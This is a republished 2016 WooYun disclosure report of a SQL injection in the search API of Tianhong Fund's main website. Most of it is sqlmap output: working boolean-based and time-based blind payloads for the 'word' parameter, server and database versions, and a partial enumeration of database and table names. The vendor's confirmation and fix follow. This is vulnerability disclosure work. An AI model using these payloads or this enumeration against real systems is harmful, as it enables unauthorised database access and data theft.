天弘基金主站存在MySql注入

admin 2017年5月2日16:44:35评论352 views字数 222阅读0分44秒阅读模式
摘要

2016-06-20: 细节已通知厂商并且等待厂商处理中
2016-06-21: 厂商已经确认,细节仅向厂商公开
2016-06-21: 厂商已经修复漏洞并主动公开,细节向公众公开

漏洞概要 关注数(8) 关注此漏洞

缺陷编号: WooYun-2016-221041

漏洞标题: 天弘基金主站存在MySql注入

相关厂商: 天弘基金管理有限公司

漏洞作者: 丶n

提交时间: 2016-06-20 09:04

修复时间: 2016-06-21 10:23

公开时间: 2016-06-21 10:23

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经修复

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 无

0人收藏


漏洞详情

披露状态:

2016-06-20: 细节已通知厂商并且等待厂商处理中
2016-06-21: 厂商已经确认,细节仅向厂商公开
2016-06-21: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

rt 给个高分吧.

详细说明:

http://www.thfund.com.cn/

天弘基金主站

http://www.thfund.com.cn//thfund/fundlist/search/api/?word=e

word参数存在注入

code 区域
GET parameter 'word' is vulnerable. Do you want to keep testing the others (if a
ny)? [y/N] y
sqlmap identified the following injection point(s) with a total of 277 HTTP(s) r
equests:
---
Parameter: word (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: word=e%' AND 4468=4468 AND '%'='

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SLEEP)
Payload: word=e%' AND (SELECT * FROM (SELECT(SLEEP(5)))scvx) AND '%'='
---
[08:07:03] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.6.20
back-end DBMS: MySQL 5.0.12
code 区域
current user:    '/x1f/x08'

漏洞证明:

code 区域
available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] thweb
code 区域
[08:18:46] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.6.20
back-end DBMS: MySQL 5.0.12
[08:18:46] [INFO] fetching tables for database: 'thweb'
[08:18:46] [INFO] fetching number of tables for database 'thweb'
[08:18:46] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[08:18:46] [INFO] retrieved: 284
[08:18:54] [INFO] retrieved: a_content_body
[08:20:04] [INFO] retrieved: a_content_category
[08:20:54] [INFO] retrieved: a_w_content
[08:21:46] [INFO] retrieved: a_w_content_1
[08:22:07] [INFO] retrieved: aa_channel_category
[08:23:29] [INFO] retrieved: aa_fundday
[08:24:13] [INFO] retrieved: accesslog
[08:25:00] [INFO] retrieved: actions
[08:25:27] [INFO] retrieved: aliyunoss_file
[08:26:35] [INFO] retrieved: authmap
[08:27:07] [INFO] retrieved: batch
[08:27:36] [INFO] retrieved: b

表太多了 ,就不跑了 仅证明危害

修复方案:

参数过滤

版权声明:转载请注明来源 丶n@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2016-06-21 10:10

厂商回复:

谢谢您的提醒,我们会重视并解决

最新状态:

2016-06-21:已修复。


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin